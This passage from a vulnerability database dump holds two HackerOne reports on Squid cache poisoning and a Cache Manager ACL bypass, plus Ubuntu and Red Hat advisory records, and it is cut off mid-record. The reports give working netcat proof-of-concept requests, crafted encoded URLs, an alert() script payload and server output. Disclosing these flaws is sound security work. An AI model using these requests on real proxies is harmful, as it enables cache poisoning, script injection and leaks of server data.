FTP \n\nAssigned CVE-2019-12520\nNo Announce was officially made by Squid, and was silently fixed with Squid-4.10. This was going to be announced with http://www.squid-cache.org/Advisories/SQUID-2019_4.txt, but never got published when I demonstrated their patch was incomplete at the time.\n\nFixed in Squid-4.10\n## Steps To Reproduce:\n### Poisoning FTP Cache in Squid-4.9\n1) Start Squid\n2) Start a FTP Server I attached a python script for this\n```\nftp_server.py 8080 8081\n```\n3) Make the Request to poison the cache\n```\necho -e \"GET ftp://hackerone.com%2f%3f@192.168.122.1:8080/payload HTTP/1.1\\r\\n\\r\\n\" |nc <squid hostname> 3128\nnc: using stream socket\nHTTP/1.1 200 Gatewaying\nServer: squid/4.9\nMime-Version: 1.0\nDate: Thu, 19 Mar 2020 15:57:04 GMT\nContent-Type: text/plain\nLast-Modified: Wed, 27 Mar 2019 19:14:54 GMT\nAge: 79\nX-Cache: HIT from g64\nTransfer-Encoding: chunked\nVia: 1.1 g64 (squid/4.9)\nConnection: keep-alive\n\n23\nHello! This is from my ftp server.\n\n0\n```\n\nThe FTP server should have output similar to \n```\n<- 150 Here comes data\nPassive Connection from: ('192.168.122.97', 51647)\n<- Hello! This is from my ftp server.\n<- 226 Data sent\n-> QUIT\n```\n\n4) Now make the request to the actual domain\nNotice the X-Cache: HIT header\n```\necho -e \"GET ftp://hackerone.com/?@192.168.122.1:8080/payload HTTP/1.1\\r\\n\\r\\n\" |nc <squid hostname> 3128\n\nnc: using stream socket\nHTTP/1.1 200 Gatewaying\nServer: squid/4.9\nMime-Version: 1.0\nDate: Thu, 19 Mar 2020 15:57:04 GMT\nContent-Type: text/plain\nLast-Modified: Wed, 27 Mar 2019 19:14:54 GMT\nAge: 249\nX-Cache: HIT from g64\nTransfer-Encoding: chunked\nVia: 1.1 g64 (squid/4.9)\nConnection: keep-alive\n\n23\nHello! This is from my ftp server.\n\n0\n\n```\n\nYou will get the output from the cached response instead of the real response from hackerone.com or whichever domain you're poisoning \n\n### Poisoning HTTPS Cache in Squid-4.7\nTo repro the HTTPS poisoning you need to configure Squid to cache SSL request. This involves generating a root cert, and inserting some config options. https://wiki.squid-cache.org/Features/DynamicSslCert Has steps on how to achieve this. Below is what I added to my config. You will need to change the prefixes to match your system. \n\nReplace the existing http_port 3128 entry with the following:\n```\nhttp_port 3128 ssl-bump \\\n generate-host-certificates=on dynamic_cert_mem_cache_size=4MB \\\n cert=/home/j1/h4x/squid/certs/myCA.pem\nsslcrtd_program /home/j1/h4x/squid/ship/squid-4.7/libexec/security_file_certgen -s /home/j1/h4x/squid/ship/squid-4.7/var/lib/ssl_db -M 4MB\n```\n\nIf your test certs aren't valid (self signed for testing) you need to add the following directive in the config. \n```\nsslproxy_cert_error allow all\n```\n\nFinally you'll need to initalize the SSL DB that you've told Squid to use. This is the -s option in sslcrtd_program\n\n```\n./libexec/security_file_certgen ./var/lib/ssl_db -c -s ./var/lib/ssl_db -M 4MB\n```\n\nYou're also going to need a server with SSL that you can control the headers on.\nYou have to send the following header so that Squid will cache your response. \n```\nCache-Control: public, immutable, max-age=31536000\n```\nOnce you've done that you're ready to repo HTTPS poisoning which is essentially the same as our FTP Poisoning. \n\n1) Start Squid\n```\n./sbin/squid\n```\n\n2) start you SSL Server \n\n3) Make a poison request\n```\necho -e \"GET https://hackerone.com%2f%3f@192.168.122.1:8080/html/alert.html HTTP/1.1\\r\\n\\r\\n\" |nc <squid hostname> 3128\n\nnc: using stream socket\nHTTP/1.1 200 OK\nServer: SimpleHTTP/0.6 Python/3.6.10\nDate: Thu, 19 Mar 2020 16:17:46 GMT\nContent-Type: text/html\nContent-Length: 74\nLast-Modified: Mon, 22 Apr 2019 23:18:08 GMT\nCache-Control: public, immutable, max-age=31536000\nX-Cache: MISS from g64\nVia: 1.1 g64 (squid/4.7)\nConnection: keep-alive\n\n<html>\n\t<body>\n\t\t<script>alert(document.domain)</script>\n\t</body>\n</html>\n```\n4) Make the request to the real domain \nNotice the X-Cache: HIT header\n```\necho -e \"GET https://hackerone.com/?@192.168.122.1:8080/html/alert.html HTTP/1.1\\r\\n\\r\\n\" |nc <squid hostname> 3128\nnc: using stream socket\nHTTP/1.1 200 OK\nServer: SimpleHTTP/0.6 Python/3.6.10\nDate: Thu, 19 Mar 2020 16:17:46 GMT\nContent-Type: text/html\nContent-Length: 74\nLast-Modified: Mon, 22 Apr 2019 23:18:08 GMT\nCache-Control: public, immutable, max-age=31536000\nAge: 334\nX-Cache: HIT from g64\nVia: 1.1 g64 (squid/4.7)\nConnection: keep-alive\n\n<html>\n\t<body>\n\t\t<script>alert(document.domain)</script>\n\t</body>\n</html>\n```\n\n## Analysis\n\nWhen making a request Squid will check its cache to see if it has a response\nthat it can serve up. When squid determines that a reply can be cached it uses\na combination of METHOD, absolute URL, and possible vary headers to form a\nMD5 hash.\n\nThis takes place in storeKeyPUblicByRequestMethod\n```\n SquidMD5Update(&M, &m, sizeof(m));\n SquidMD5Update(&M, (unsigned char *) url.rawContent(), url.length());\n```\n\nSimilar to the ACL Bypass vuln I reported earlier this abuses that the userInfo is decoded and is stored as part of the url. So when url is used to update the hash it's using a decoded string \n\n```\neffectiveRequestUri() will return url.absolute() for methods that aren't\nCONNECT and schemes that aren't PROTO_AUTHORITY_FORM\n\n Looking at Uri::absolute we see that the userInfo is included into the\n absolute uri representation if the protocol is HTTPS\n\n const bool omitUserInfo = getScheme() == AnyP::PROTO_HTTP ||\n getScheme() != AnyP::PROTO_HTTPS ||\n userInfo().isEmpty();\n if (!omitUserInfo) {\n absolute_.append(userInfo());\n absolute_.append(\"@\", 1);\n }\n\nuserInfo is set in Uri::parse if the foundHost contains a @ that\nthe userinfo is extracted and then decoded.\n\n t = strrchr(foundHost, '@');\n if (t != NULL) {\n strncpy((char *) login, (char *) foundHost, sizeof(login)-1);\n login[sizeof(login)-1] = '\\0';\n t = strrchr(login, '@');\n *t = 0;\n strncpy((char *) foundHost, t + 1, sizeof(foundHost)-1);\n foundHost[sizeof(foundHost)-1] = '\\0';\n // Bug 4498: URL-unescape the login info after extraction\n rfc1738_unescape(login);\n }\n```\nThis is eventually stored in userInfo when calling parseFinish\n parseFinish(protocol, proto, urlpath, foundHost, SBuf(login), foundPort);\n\nThis userInfo is the decoded version, therefore special tokens such as ? # /\nare possible entries in the userInfo. \n\nIt's possible to have a cache entry for one domain, be used for another\ndomain. Leading to possible HTML/JS execution in a target domain. The\nrequirement being that it must have the HTTPS protocol.\n\nThis can lead to Squid serving the wrong\nReply as multiple request from different domains can look similar.\n\nTake for example the following:\nhttps://squid-cache.org%2F%3F@192.168.1.23:8080/\n\nThe reply from 192.168.1.23 would decode to\nhttps://squid-cache.org/?@192.168.1.23:8080/\nAnd the reply would be stored\n\nNow if a real request for squid-cache.org came in with a similar URL\nhttps://squid-cache.org?@192.168.1.23:8080/\nThe cached reply would be served, and any scripts that were returned by\nthe original request would now be running in squid-cache.org context.\n\n## Impact\n\nAttacker can poison the Cache causing users to receive attacker controlled data when going to a trusted domain. \nSquid-4.9 And below allows an attacker to poison FTP responses, a user could download attacker controlled data thinking it came from a legitiment source. \n\n<= Squid-4.7 Can also poison HTTPS allowing attacker controlled content to run in another domain. \n\nThese both require a user to visit a specially crafted URL.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-19T16:44:08", "type": "hackerone", "title": "Internet Bug Bounty: Cache Poisoning", "bulletinFamily": "bugbounty", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520", "CVE-2019-12524"], "modified": "2021-08-26T23:26:46", "id": "H1:824753", "href": "https://hackerone.com/reports/824753", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-10-17T07:28:29", "bounty": 0.0, "description": "## Summary:\nACL Manager can be bypassed giving non authorized users to squid-internal-mgr.\nPossible to bypass other url_regex, but only focused on manager. \n\n<= Squid-4.7 vulnerable\nSilently Fixed in Squid-4.8 \nAnnounce page was allocated, but never made http://www.squid-cache.org/Advisories/SQUID-2019_4.txt As another issue similar to this wasn't fixed \n\nPatch: http://www.squid-cache.org/Versions/v4/changesets/squid-4-e1e861eb9a04137fe81decd1c9370b13c6f18a18.patch\n\nAssigned: CVE-2019-12524\n## Steps To Reproduce:\n\n1) Start squid-4.7\n```\n./sbin/squid\n```\n\n2) Issue the following request replacing <hostname> with the hostname of the server running squid\n```\necho -e \"GET https://jeriko.one%252f@<hostname>:3128/squid-internal-mgr/active_requests HTTP/1.1\\r\\n\\r\\n\" |nc <hostname> 3128\n```\n\n```\nHTTP/1.1 200 OK\nServer: squid/4.7\nMime-Version: 1.0\nDate: Wed, 18 Mar 2020 23:41:31 GMT\nContent-Type: text/plain;charset=utf-8\nExpires: Wed, 18 Mar 2020 23:41:31 GMT\nLast-Modified: Wed, 18 Mar 2020 23:41:31 GMT\nX-Cache: MISS from g64\nTransfer-Encoding: chunked\nVia: 1.1 g64 (squid/4.7)\nConnection: keep-alive\n\n1AF\nConnection: 0x5594f78d95f8\n\tFD 10, read 85, wrote 0\n\tFD desc: Reading next request\n\tin: buf 0x5594f7d2e1a4, used 1, free 4011\n\tremote: 192.168.4.144:38376\n\tlocal: 192.168.4.144:3128\n\tnrequests: 1\nuri https://jeriko.one%2f@g64:3128/squid-internal-mgr/active_requests\nlogType TCP_MISS\nout.offset 0, out.size 0\nreq_sz 84\nentry 0x5594f7d2b720/0300000000000000291F000001000000\nstart 1584574891.149644 (0.000000 seconds ago)\nusername -\n\n\n0\n```\nYou should have accessed the active_requests page in the squid-internal-mgr \n\n## Analysis\n\nWhen Squid is checking ACLs and it wants to check if a URL is a cache manager\nURL it checks the following rule\n\n```\n default_line(\"acl manager url_regex -i ^cache_object:// +i ^https?://[^/]+/squid-internal-mgr/\");\n```\nWhen checking if the URL matches the regex the function\nACLUrlStrategy::match will be called. This will get the effectiveRequestUri,\ndecode it and then try to match it against the regex\n\n```\nACLUrlStrategy::match (ACLData<char const *> * &data, ACLFilledChecklist *checklist)\n{\n char *esc_buf = SBufToCstring(checklist->request->effectiveRequestUri());\n rfc1738_unescape(esc_buf);\n int result = data->match(esc_buf);\n xfree(esc_buf);\n return result;\n}\n```\neffectiveRequestUri() will return url.absolute() for methods that aren't\nCONNECT and schemes that aren't PROTO_AUTHORITY_FORM\n\n Looking at Uri::absolute we see that the userInfo is included into the\n absolute uri representation if the protocol is HTTPS\n\n```\n const bool omitUserInfo = getScheme() == AnyP::PROTO_HTTP ||\n getScheme() != AnyP::PROTO_HTTPS ||\n userInfo().isEmpty();\n if (!omitUserInfo) {\n absolute_.append(userInfo());\n absolute_.append(\"@\", 1);\n }\n```\nuserInfo is set in Uri::parse if the foundHost contains a @ that\nthe userinfo is extracted and then decoded.\n```\n t = strrchr(foundHost, '@');\n if (t != NULL) {\n strncpy((char *) login, (char *) foundHost, sizeof(login)-1);\n login[sizeof(login)-1] = '\\0';\n t = strrchr(login, '@');\n *t = 0;\n strncpy((char *) foundHost, t + 1, sizeof(foundHost)-1);\n foundHost[sizeof(foundHost)-1] = '\\0';\n // Bug 4498: URL-unescape the login info after extraction\n rfc1738_unescape(login);\n }\n```\nThis is eventually stored in userInfo when calling parseFinish\n parseFinish(protocol, proto, urlpath, foundHost, SBuf(login), foundPort);\n\nThis userInfo is the decoded version, therefore special tokens such as ? # /\nare possible entries in the userInfo. \n\nWe see now that the URL is decoded twice when checking RegexURL acls.\n\nLet's consider the following example URL to show how we can access\nCacheManager due to this double decode flaw.\n\ng64 is the name of my Squid server\n\nhttps://jeriko.one%252f@g64:3128/squid-internal-mgr/active_requests\n\nFirst in clientProcessRequest my request will be marked as internal as the\npath is /squid-internal-mgr/active_requests, and the url.host and url.port\nmatch the Squid server hostname and port number\n```\n if (internalCheck(request->url.path())) {\n if (internalHostnameIs(request->url.host()) && request->url.port() == getMyPort()) {\n debugs(33, 2, \"internal URL found: \" << request->url.getScheme() << \"://\" << request->url.authority(true));\n http->flags.internal = true;\n```\nAs it makes it way through ACL checks it'll come against the Manager regex acl\n\nAfter the call rfc1738_unescape is made my URL is now\n\"https://jeriko.one/@g64:3128/squid-internal-mgr/active_requests\"\n\nWhich fails against the Manager regex check\n\nAs this decoding didn't change the original URL, when I reach internalStart my\npath will match against mgrPfx, giving me access to the cache manager.\n\nThe Cache manager has a lot of useful information for anyone who is curious on\nwhat type of traffic is going through a Squid server. It also provides useful\ninformation for someone trying to gain remote code execution over the server\nas the cmd active_requests holds a number of in use addresses\n\n## Impact\n\nBypasses restrictions on squid-internal-mgr. This allows an attacker to gain information on Squid clients, request being made, usernames, peer servers, servers being reversed proxied, in memory objects, addresses of objects which can be used to break ASLR. \n\nA list can be found in stat.cc where functions are registered to the Manager.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-18T23:53:54", "type": "hackerone", "title": "Internet Bug Bounty: Cache Manager ACL Bypass", "bulletinFamily": "bugbounty", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12524"], "modified": "2021-08-26T23:28:49", "id": "H1:824203", "href": "https://hackerone.com/reports/824203", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ubuntucve": [{"lastseen": "2023-12-05T14:21:32", "description": "An issue was discovered in Squid through 4.7. When handling requests from\nusers, Squid checks its rules to see if the request should be denied. Squid\nby default comes with rules to block access to the Cache Manager, which\nserves detailed server information meant for the maintainer. This rule is\nimplemented via url_regex. The handler for url_regex rules URL decodes an\nincoming request. This allows an attacker to encode their URL to bypass the\nurl_regex check, and gain access to the blocked resource.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | fixed in Debian's 3.5.23-5+deb9u2 same patch as CVE-2019-12520\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-15T00:00:00", "type": "ubuntucve", "title": "CVE-2019-12524", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520", "CVE-2019-12524"], "modified": "2020-04-15T00:00:00", "id": "UB:CVE-2019-12524", "href": "https://ubuntu.com/security/CVE-2019-12524", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-05T14:21:34", "description": "An issue was discovered in Squid through 4.7. When Squid is parsing ESI, it\nkeeps the ESI elements in ESIContext. ESIContext contains a buffer for\nholding a stack of ESIElements. When a new ESIElement is parsed, it is\nadded via addStackElement. addStackElement has a check for the number of\nelements in this buffer, but it's off by 1, leading to a Heap Overflow of 1\nelement. The overflow is within the same structure so it can't affect\nadjacent memory blocks, and thus just leads to a crash while processing.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.9, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-04-15T00:00:00", "type": "ubuntucve", "title": "CVE-2019-12521", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12521"], "modified": "2020-04-15T00:00:00", "id": "UB:CVE-2019-12521", "href": "https://ubuntu.com/security/CVE-2019-12521", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2023-12-05T14:21:34", "description": "An issue was discovered in Squid through 4.7 and 5. When receiving a\nrequest, Squid checks its cache to see if it can serve up a response. It\ndoes this by making a MD5 hash of the absolute URL of the request. If\nfound, it servers the request. The absolute URL can include the decoded\nUserInfo (username and password) for certain protocols. This decoded info\nis prepended to the domain. This allows an attacker to provide a username\nthat has special characters to delimit the domain, and treat the rest of\nthe URL as a path or query string. An attacker could first make a request\nto their domain using an encoded username, then when a request for the\ntarget domain comes in that decodes to the exact URL, it will serve the\nattacker's HTML instead of the real HTML. On Squid servers that also act as\nreverse proxies, this allows an attacker to gain access to features that\nonly reverse proxies can use, such as ESI.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | fixed in Debian's 3.5.23-5+deb9u2\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-04-15T00:00:00", "type": "ubuntucve", "title": "CVE-2019-12520", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520"], "modified": "2020-04-15T00:00:00", "id": "UB:CVE-2019-12520", "href": "https://ubuntu.com/security/CVE-2019-12520", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-12-05T14:21:30", "description": "An issue was discovered in Squid through 4.7. When handling the tag\nesi:when when ESI is enabled, Squid calls ESIExpression::Evaluate. This\nfunction uses a fixed stack buffer to hold the expression while it's being\nevaluated. When processing the expression, it could either evaluate the top\nof the stack, or add a new member to the stack. When adding a new member,\nthere is no check to ensure that the stack won't overflow.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-15T00:00:00", "type": "ubuntucve", "title": "CVE-2019-12519", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519"], "modified": "2020-04-15T00:00:00", "id": "UB:CVE-2019-12519", "href": "https://ubuntu.com/security/CVE-2019-12519", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-05T14:21:19", "description": "An issue was discovered in Squid before 5.0.2. A remote attacker can replay\na sniffed Digest Authentication nonce to gain access to resources that are\notherwise forbidden. This occurs because the attacker can overflow the\nnonce reference counter (a short integer). Remote code execution may occur\nif the pooled token credentials are freed (instead of replayed as valid\ncredentials).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-23T00:00:00", "type": "ubuntucve", "title": "CVE-2020-11945", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-11945"], "modified": "2020-04-23T00:00:00", "id": "UB:CVE-2020-11945", "href": "https://ubuntu.com/security/CVE-2020-11945", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "redhat": [{"lastseen": "2023-12-06T00:41:43", "description": "Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nSecurity Fix(es):\n\n* squid: improper check for new member in ESIExpression::Evaluate allows for stack buffer overflow (CVE-2019-12519)\n\n* squid: improper access restriction upon Digest Authentication nonce replay could lead to remote code execution (CVE-2020-11945)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-06T12:46:24", "type": "redhat", "title": "(RHSA-2020:2039) Important: squid:4 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2020-11945"], "modified": "2020-05-06T13:02:01", "id": "RHSA-2020:2039", "href": "https://access.redhat.com/errata/RHSA-2020:2039", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T00:41:43", "description": "Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nSecurity Fix(es):\n\n* squid: improper check for new member in ESIExpression::Evaluate allows for stack buffer overflow (CVE-2019-12519)\n\n* squid: improper access restriction upon Digest Authentication nonce replay could lead to remote code execution (CVE-2020-11945)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-06T11:55:10", "type": "redhat", "title": "(RHSA-2020:2038) Important: squid:4 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2020-11945"], "modified": "2020-05-06T12:01:09", "id": "RHSA-2020:2038", "href": "https://access.redhat.com/errata/RHSA-2020:2038", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T00:41:43", "description": "Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nSecurity Fix(es):\n\n* squid: improper check for new member in ESIExpression::Evaluate allows for stack buffer overflow (CVE-2019-12519)\n\n* squid: improper access restriction upon Digest Authentication nonce replay could lead to remote code execution (CVE-2020-11945)\n\n* squid: parsing of header Proxy-Authentication leads to memory corruption (CVE-2019-12525)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-06T12:46:17", "type": "redhat", "title": "(RHSA-2020:2040) Important: squid security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", 